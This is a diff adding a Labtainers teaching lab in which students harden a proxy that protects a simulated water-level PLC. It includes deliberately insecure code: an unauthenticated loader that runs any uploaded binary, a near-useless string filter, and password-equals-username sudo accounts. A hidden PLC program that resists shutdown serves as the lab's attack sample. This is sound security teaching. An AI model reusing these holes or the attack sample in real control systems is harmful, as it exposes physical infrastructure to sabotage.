b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.sys_management.student new file mode 100644 index 000000000..3bd441a09 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.sys_management.student @@ -0,0 +1,31 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + openssl + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile new file mode 100644 index 000000000..d5c5f3eb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile @@ -0,0 +1,6 @@ +plc.pdf: plc.docx + soffice --convert-to pdf plc.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile.not.used b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile.not.used new file mode 100644 index 000000000..995cbb51a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/Makefile.not.used @@ -0,0 +1,9 @@ + +plc.pdf: plc.tex + latex plc + pdflatex plc + pdflatex plc + +clean: + rm -fr auto + rm -f plc.aux plc.log plc.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.docx new file mode 100755 index 000000000..dcc3ba984 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.jpg new file mode 100755 index 000000000..ba4a556b5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.tex new file mode 100644 index 000000000..8eb9cb586 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/plc.tex @@ -0,0 +1,92 @@ +\documentclass{article} +\usepackage{geometry} +\geometry{a4paper, total={170mm,257mm},left=20mm, top=10mm,} +\usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} +\usepackage{bookmark} +\usepackage{graphicx} +\graphicspath{ {images/} } + +\begin{document} +\title {Labtainer PLC Lab Manual} +\maketitle + +\section {Background} +This lab explores a few security issues related to the use of Programmable +Logic Controllers (PLCs) in the management of Industrial Control Systems (ICS), +or similar forms of infrastructure. + +This lab manual is very brief. You should read this "Background" section before starting the lab. +The student is expected to be somewhat proficient in the Python programming language, +and is expected to have performed the "onewayhash" lab. + +This PLC lab simulates the system illustrated in Figure 1. A PLC manages the water level +of a creek-fed catfish pond, ensuring the water level does not exceed minimum and maximum +limits. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{plc.jpg} +\end{center} +\end{figure} + +You will interact with the sys\_management system to load a program and configuration data +into the PLC. You will also use the sys\_management system to check the status of the PLC +and to query which program and configuration data the PLC is running. +You will not have direct access to the PLC subsystem, though you can +interact with it via the sys\_management computer. + +A "Security Proxy" sits between the sys\_management computer and the PLC. The vendor promised +that this will prevent attacks on the PLC. You can draw your own conclusions about that claim +You will interact with the Security Proxy in an attempt to make it useful. But first, start the lab +as noted below (if you have not already done so). + +\section {Performing the lab} +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: +\begin{verbatim} + ./labtainer plc +\end{verbatim} +\noindent The resulting virtual terminals will include: +\begin{itemize} +\item A display of the status of the fish pond level, titled "Physical\_World". +\item A bash shell on the sys\_management computer. +\item A bash shell on the Security Proxy, titled "ubuntu@proxy". +\item A display of the Security Proxy log file titled "PROXY\_LOG". +\end{itemize} +NOTE: When the lab starts, observe the status window. The PLC is initially +disabled, and thus the pump does not run and the water rises. +You can initialize the PLC from the sys\_management window using: +\begin{verbatim} + ./manage_plc.py load plc config.txt +\end{verbatim} + +\noindent The "plc" parameter is the name of the plc program file in your home directory. +The "config.txt" is a configuration file in your home directory. This operation +will initialize the PLC, leading to the pump to run. + +The configuration file directs the PLC to keep the pond level between 20 and 30 feet. +Just watch what happens over the course of about a minute. + +After you've watched the status window for a full cycle of disaster, +poke around a bit. + +\renewcommand\thesubsubsection{} +\subsubsection{Hints:} +\begin{itemize} +\item Use "stoplab plc" and "./labtainer plc" from your Linux host to stop and restart the lab -- this is the +best way to restart the lab or reset the PLC if it becomes corrupt. Any files saved on the components will be preserved. +\item The manage\_plc.py tool lets your retrieve the code/data from the PLC. Are those the files you loaded? +\item The sys\_management computer includes the openssl utility that you used in the onewayhash lab, might that +help determine if the files are the same? +\item Could the Security Proxy be modified to avoid sending bad files to the PLC? +\end{itemize} +NOTE: The solution must use the manage\_plc.py as-is. Modifying the code will void the warranty offered by the PLC system vendor! + +\section {Tasks} +Alter the proxy.py program on the Security Proxy computer to prevent exploitation of the PLC. +You are not expected to make changes to the sys\_management system, though you are free to explore it. +However, credit will only be given if changes to the proxy.py mitigate the attack. +\end{document} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/read_first.txt new file mode 100644 index 000000000..772fab332 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/docs/read_first.txt @@ -0,0 +1,9 @@ +PLC LAB -- Read this first + +The lab manual for this lab is at: +file://LAB_MANUAL + +It can be opened by right clicking on the link and +selecting "Open link". Read the "Background" section +of the manual before proceeding with the lab. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/goals.config new file mode 100644 index 000000000..0d502ff57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/goals.config @@ -0,0 +1,8 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +_ch_manager = matchacross : string_diff : check_manager : check_manager +_ch_plc = matchacross : string_diff : check_plc : check_plc +_ch_nothere = matchacross : string_diff : check_nothere : check_nothere +#DOC: The student modified files that were not to be touched. +user_changed_files = count_greater : 0 : (_ch_manager, _ch_plc, _ch_nothere) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/results.config new file mode 100644 index 000000000..1fbfb09ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see ..../docs/goals.config.format +#DOC: Secured the PLC, preventing upload of corrupting software +secured_plc = plc:water_level.log : CONTAINS : PLC Secured +check_manager = sys_management:precheck.stdout : 3 : STARTSWITH : manage_plc.py +check_plc = sys_management:precheck.stdout : 3 : STARTSWITH : plc.c +check_nothere = sys_management:precheck.stdout : 3 : STARTSWITH : nothere diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/ignorelocal new file mode 100644 index 000000000..18b21b539 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/ignorelocal @@ -0,0 +1,2 @@ +physical_world.py +plc_loader.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/plc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/plc.sh new file mode 100644 index 000000000..abdb760f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_bin/plc.sh @@ -0,0 +1,4 @@ +#!/bin/bash +./plc_loader.py > loader.log 2>&1 & +./physical_world.py +exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/physical_world.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/physical_world.py new file mode 100755 index 000000000..9d3fdab13 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/physical_world.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python +import ctypes +import mmap +import os +import sys +import struct +import time +import curses +import logging +''' +This python script represents the physical system. It interacts with +the PLC via shared memory. The physical system has two active attributes. +The first is a source of water flowing into a resevoir at a rate that +varies over time. The second is an outflow drain pump that is either on or off, +controlled by the PLC. When open, the pump removes 2 vertical feet per day +from the resevior. Everything +is measured in feet per day, and there is one day of simulated time per second +of real time. + +Shared memory represents an I/O device connecting the simulated PLC to the physical +system. The first 32-bit int represents the current water level, and is written by a physical +system monitor to shared memory. The second 32-bit int +is an input from the PLC, which is true if the pump is running, false if closed. +''' + +filename='/tmp/iodevice' +log_30 = 0 +log_20 = 0 +count_resets = 0 +LOGFILE = "./phys_world.log" +print("logging to %s" % LOGFILE) +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("Starting physical_world") + +def doMap(): + # Create new empty file to back memory map on disk + # and return the buf associated with it + print('try open %s' % filename) + while not os.path.isfile(filename): + time.sleep(1) + fd = os.open(filename, os.O_RDWR) + + # Create the mmap instace with the following params: + # fd: File descriptor which backs the mapping or -1 for anonymous mapping + # length: Must in multiples of PAGESIZE (usually 4 KB) + # flags: MAP_SHARED means other processes can share this mmap + # prot: PROT_WRITE means this process can write to this mmap + buf = None + while buf is None: + try: + buf = mmap.mmap(fd, mmap.PAGESIZE, mmap.MAP_SHARED, mmap.PROT_WRITE) + except: + time.sleep(1) + logging.debug("physical_world, file mapped") + return buf + +def logWaterLevel(water_level, reset_counter): + retval = False + global log_20 + global log_30 + global count_resets + if count_resets != reset_counter: + count_resets = reset_counter + log_30 = 0 + log_20 = 0 + + if water_level == 30: + log_30 += 1 + if water_level == 20: + log_20 += 1 + if log_30 == 4 and log_20 == 4: + with open('water_level.log', 'w') as fh: + fh.write('PLC Secured\n') + retval = True + return retval + +def main(screen): + log_close = False + flood = "The pond breached its banks and flooded the farmer's field" + dry = "The low water level led to catfish mutations. They walked \ninto the farmer's fields and ate all the crops." + success = "Well done! You have protected the farm's infrastructure. \nThe lab is completed." + clear = ' ' * 200 + buf = doMap() + # Now create an int in the memory mapping + water_level = ctypes.c_int.from_buffer(buf) + pump_running = ctypes.c_int.from_buffer(buf, 4) + loader_ready = ctypes.c_int.from_buffer(buf, 8) + reset_counter = ctypes.c_int.from_buffer(buf, 12) + while loader_ready.value == 0: + time.sleep(1) + logging.debug("physical_world, loader must be ready") + water_level.value = 20 + ''' rate of water leaving via drain (when open)''' + out_flow_rate = 2 + ''' rate of water coming in ''' + in_flow_rate = 1 + curses.noecho() + curses.cbreak() + curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLUE) + curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK) + screen.bkgd(curses.color_pair(2)) + #screen.keypad(1) + screen.nodelay(1) + screen.refresh() + #win = curses.newwin(5,20,5,5) + #win.bkgd(curses.color_pair(2)) + #win.box() + + paused = False + screen.addstr(2,1, "Status of Farmer Jones' catfish pond water level") + lab_success = False + while True: + if not lab_success: + lab_success = logWaterLevel(water_level.value, reset_counter.value) + if pump_running.value == 1 and water_level.value > 0: + water_level.value -= out_flow_rate + #print('pump running') + screen.addstr(8,1, "Pump: running") + sys.stdout.write('\x1b]2;Physical_World: Pump running\x07') + sys.stdout.flush() + else: + screen.addstr(8,1, "Pump: stopped") + sys.stdout.write('\x1b]2;Physical_World: Pump stopped\x07') + sys.stdout.flush() + if water_level.value < 42: + water_level.value += in_flow_rate + screen.addstr(11,1, "Pond water level: %4d" % water_level.value) + #print('current level is %s' % water_level.value) + if water_level.value > 40: + screen.addstr(15,1, flood) + sys.stdout.write('\x1b]2;Physical_World: Fields Flooded\x07') + sys.stdout.flush() + elif water_level.value < 5: + screen.addstr(15,1, dry) + sys.stdout.write('\x1b]2;Physical_World: Pond Dry\x07') + sys.stdout.flush() + elif lab_success: + screen.addstr(15, 1, success) + sys.stdout.write('\x1b]2;Physical_World: Success\x07') + sys.stdout.flush() + else: + screen.addstr(15,1,clear) + screen.refresh() + c = screen.getch() + if c == 32: + paused = not paused + time.sleep(1) + raw_input("any key to end") + +try: + curses.wrapper(main) +except KeyboardInterrupt: + print('keyboard exception, bye') + exit() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/plc_loader.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/plc_loader.py new file mode 100755 index 000000000..efb0825e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/plc/plc_loader.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python +import socket +import sys +import time +import os +import signal +import subprocess +import ctypes +import mmap +import logging + +''' +Manage loading of PLC firmware. Listen to a TCP socket for a +connection. The protocol is a four byte length field (represented +as an ascii string) followed by the data. On each connection, +the first data goes to the code file, the second to the config.txt +file. After firmware is loaded, the PLC executes. +''' + +# Create a TCP/IP socket +LOGFILE = "./plc_loader.log" +print("logging to %s" % LOGFILE) +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("Starting plc_loader") +filename='/tmp/iodevice' +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server_address = ('172.26.0.3', 10000) +print >>sys.stderr, 'starting up on %s port %s' % server_address +sock.bind(server_address) +# Listen for incoming connections +sock.listen(1) + +def doMap(): + # Create new empty file to back memory map on disk + # and return the buf associated with it + logging.debug('doMap try open %s' % filename) + fd = os.open(filename, os.O_CREAT | os.O_TRUNC | os.O_RDWR) + + # Zero out the file to insure it's the right size + assert os.write(fd, '\x00' * mmap.PAGESIZE) == mmap.PAGESIZE + + # Create the mmap instace with the following params: + # fd: File descriptor which backs the mapping or -1 for anonymous mapping + # length: Must in multiples of PAGESIZE (usually 4 KB) + # flags: MAP_SHARED means other processes can share this mmap + # prot: PROT_WRITE means this process can write to this mmap + buf = mmap.mmap(fd, mmap.PAGESIZE, mmap.MAP_SHARED, mmap.PROT_WRITE) + return buf + +def sendData(connection, data): + size = len(data) + size_str = '%4d' % size + try: + connection.sendall(size_str) + connection.sendall(data) + except socket.error, msg: + logging.debug('Failed sending data, socket error, could be client dropped: %s' % msg) + + +def getData(connection): + rbytes = '' + try: + #print('getData get size') + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + logging.debug('getData could not parse int from %s' % size_str) + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + logging.debug('expect %d bytes' % size) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + print >>sys.stderr, 'received "%d bytes"' % len(data) + logging.debug('received "%d bytes"' % len(data)) + if data: + rbytes = rbytes + data + else: + print >>sys.stderr, 'no more data from', client_address + break + print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + logging.debug('done read, got total of %d bytes' % len(rbytes)) + except socket.error: + print >>sys.stderr, 'proxy socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + + +def signal_handler(signal, frame): + global connection + connection.close() + print >>sys.stderr, 'got signal, bye' + exit(0) + +connection = None +signal.signal(signal.SIGINT, signal_handler) +signal.signal(signal.SIGTERM, signal_handler) +ps = None +status = False +buf = doMap() +logging.debug('back from doMap') +pump_running = ctypes.c_int.from_buffer(buf, 4) +loader_ready = ctypes.c_int.from_buffer(buf, 8) +reset_counter = ctypes.c_int.from_buffer(buf, 12) +reset_counter.value = 1 +loader_ready.value = 1 +logging.debug('set ready to 1') +while True: + # Wait for a connection + print >>sys.stderr, 'waiting for a connection' + logging.debug('waiting for a connection') + connection, client_address = sock.accept() + connection.setblocking(True) + connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + + print >>sys.stderr, 'connection from', client_address + logging.debug('connection from %s:%s' % (client_address[0], client_address[1])) + + rbytes = getData(connection) + if rbytes is None: + logging.debug('Read None from getData, dropped by proxy?') + else: + parts = rbytes.split(':',1) + load_ok = True + if parts[0] == 'load': + logging.debug('load command') + if ps is not None: + ps.send_signal(signal.SIGINT) + print >>sys.stderr, 'signal sent to PLC, wait for it to die' + logging.debug('signal sent to PLC, wait for it to die') + time.sleep(2) + if ps.poll() is None: + load_ok = False + logging.debug('PLC still running, ignored signal?') + else: + print >>sys.stderr, 'PLC has terminated, load new program' + logging.debug('PLC terminated, load new program') + if load_ok: + data = parts[1] + with open('plc', 'w') as fh: + os.chmod('plc', 0o777) + fh.write(data) + fh.close + print >>sys.stderr, 'code file closed' + data = getData(connection) + if rbytes is None: + logging.debug('Read None from getData, dropped by proxy?') + else: + with open('config.txt', 'w') as fh: + os.chmod('config.txt', 0o777) + fh.write(data) + fh.close + print >>sys.stderr, 'config file closed' + ps = subprocess.Popen('./plc', shell=False) + status = True + sendData(connection, 'Program and configuration loaded into PLC') + else: + sendData(connection, 'Error: Existing PLC program failed to terminate!') + elif parts[0] == 'status': + #print('is status, send reply') + logging.debug('status command') + sendData(connection, 'status:%s' % status) + elif parts[0] == 'retrieve': + logging.debug('retrieve command') + if os.path.isfile('plc'): + with open('plc', 'r') as fh: + sendData(connection, fh.read()) + with open('config.txt', 'r') as fh: + sendData(connection, fh.read()) + else: + sendData(connection, 'no file') + sendData(connection, 'no file') + elif parts[0] == 'reset': + logging.debug('reset command') + if ps is not None: + ps.kill() + print >>sys.stderr, 'PLC killed' + logging.debug('back from kill') + pump_running.value = 0 + status = False + ps = None + reset_counter.value += 1 + + + print >>sys.stderr, 'closing connection' + logging.debug('closing connection') + connection.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/README new file mode 100644 index 000000000..e0ca2c807 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/README @@ -0,0 +1,9 @@ +The proxy is started with: + sudo systemctl start proxy +and stopped with: + sudo systemctl stop proxy +and restarted with: + sudo systemctl restart proxy + + +Its log is in proxy.log diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/fixlocal.sh new file mode 100755 index 000000000..3786214c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/fixlocal.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable proxy +sudo systemctl start proxy diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/ignorelocal new file mode 100644 index 000000000..1ce8c731f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/ignorelocal @@ -0,0 +1 @@ +proxy.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/proxy_log.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/proxy_log.sh new file mode 100644 index 000000000..7f891b2ee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_bin/proxy_log.sh @@ -0,0 +1 @@ +tail -f proxy.log diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/lib/systemd/system/proxy.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/lib/systemd/system/proxy.service new file mode 100644 index 000000000..9b7703139 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/lib/systemd/system/proxy.service @@ -0,0 +1,14 @@ +[Unit] +Description=Proxy Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/proxy.py +StandardOutput=null +WorkingDirectory=/home/ubuntu +User=ubuntu + +[Install] +WantedBy=multi-user.target +Alias=proxy.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/sbin/faux_init new file mode 100755 index 000000000..374634012 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/proxy.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/proxy.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/proxy.py new file mode 100755 index 000000000..39b5b0a0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/proxy/proxy.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python +import socket +import sys +import time +import signal +import threading +import hashlib +import logging + +def signal_handler(signal, frame): + global connection + global response_thread + logging.debug('got signal, close connection') + if connection is not None: + connection.close() + logging.debug('no exit') + exit(0) + + +def getData(connection, who): + ''' + Read data from the connection based on its initial 4 character size field. + The who field is simply for debugging. + ''' + rbytes = '' + try: + #logging.debug('%s getData get size' % who) + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + logging.debug('%s client closed' % who) + return None + try: + size = int(size_str) + except: + logging.debug('getData could not parse int from <%s>' % size_str) + exit(1) + #logging.debug('%s getData size is %d' % (who, size)) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #logging.debug('received "%d bytes"' % len(data)) + if data: + rbytes = rbytes + data + else: + logging.debug('no more data from', client_address) + break + logging.debug('%s done read, got total of %d bytes' % (who, len(rbytes))) + except socket.error: + logging.debug('proxy socket error %s' % str(socket.error)) + connection.close() + rbytes = None + return rbytes + +def sendData(connection, data, who): + ''' + Send data to the connection, prefixed by a four character length field. + The who field is simply for debugging + ''' + size = len(data) + logging.debug('%s sendData %d bytes' % (who, size)) + size_str = '%4d' % size + connection.sendall(size_str) + connection.sendall(data) + +def responses(connection, remote_sock): + #logging.debug('in responses') + rdata = '' + while rdata is not None: + rdata = getData(remote_sock, 'from-plc') + #logging.debug('responses back from getData with %s' % rdata) + if rdata is not None: + sendData(connection, rdata, 'responses') + else: + logging.debug('responses got None from-plc') + exit() + +def checkData(data): + retval = True + if data is None: + retval = False + elif data != 'status:' and data != 'retrieve:' and data != 'reset:': + if data.startswith('load'): + data = data[5:] + if 'bad stuff' in data: + retval = False + return retval + +def main(): + global connection + global response_thread + sys.stderr = open('err.txt', 'w') + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + # Create a TCP/IP socket for proxy server & client + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + local_server_address = ('172.25.0.3', 10000) + remote_server_address = ('172.26.0.3', 10000) + logging.debug('starting up on %s port %s' % local_server_address) + sock.bind(local_server_address) + # Listen for incoming connections + sock.listen(1) + while True: + # Wait for a connection + logging.debug('waiting for a connection') + connection, client_address = sock.accept() + connection.setblocking(True) + connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + remote_sock.connect(remote_server_address) + remote_sock.setblocking(True) + remote_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + response_thread = threading.Thread(target=responses, args=(connection, remote_sock)) + response_thread.start() + rdata = '' + + while rdata is not None: + rdata = getData(connection, 'from-manager') + if checkData(rdata): + sendData(remote_sock, rdata, 'to-server') + elif rdata is not None: + logging.debug('Data failed check, dropping it!') + else: + logging.debug('got None from getData from-manager') + logging.debug('close the connections, we got None') + time.sleep(1) + connection.close() + try: + remote_sock.shutdown(socket.SHUT_RDWR) + remote_sock.close() + except socket.error, msg: + logging.debug('Failed to close remote_sock, client dropped?: %s' % msg) + + +LOGFILE = "./proxy.log" +print("logging to ./proxy.log") +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("Starting proxy") +logging.debug("The proxy is started with: sudo systemctl start proxy") +global connection +connection = None +main() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/build.sh new file mode 100755 index 000000000..5158044ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -o plc plc.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/config.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/config.txt new file mode 100644 index 000000000..c40d21b70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/config.txt @@ -0,0 +1 @@ +0 25 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc new file mode 100755 index 000000000..72f441b59 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc.c new file mode 100644 index 000000000..510018ec3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/plc.c @@ -0,0 +1,82 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define FILEPATH "/tmp/iodevice" +#define NUMINTS (1000) +#define FILESIZE (NUMINTS * sizeof(int)) +void signal_handler(int signo) +{ + if (signo == SIGINT) + { + //printf("caught SIGNINT, exit\n"); + while(1) + { + sleep(1000); + } + } +} +int main(int argc, char *argv[]) +{ + int i; + int fd; + int result; + int *map; /* mmapped array of int's */ + if(signal(SIGINT, signal_handler) == SIG_ERR) + { + //fprintf(stderr, "failed setting up signals\n"); + exit(1); + } + /* Open a file for writing. + * - Creating the file if it doesn't exist. + * Note: "O_WRONLY" mode is not sufficient when mmaping. + */ + //printf("PLC starting, simulated IO on mapped file: %s\n", FILEPATH); + fd = open(FILEPATH, O_RDWR, (mode_t)0600); + if (fd == -1) { + perror("Error opening file for writing"); + exit(EXIT_FAILURE); + } + /* Now the file is ready to be mmapped. + */ + //printf("do mmap \n"); + map = mmap(0, FILESIZE, PROT_READ | 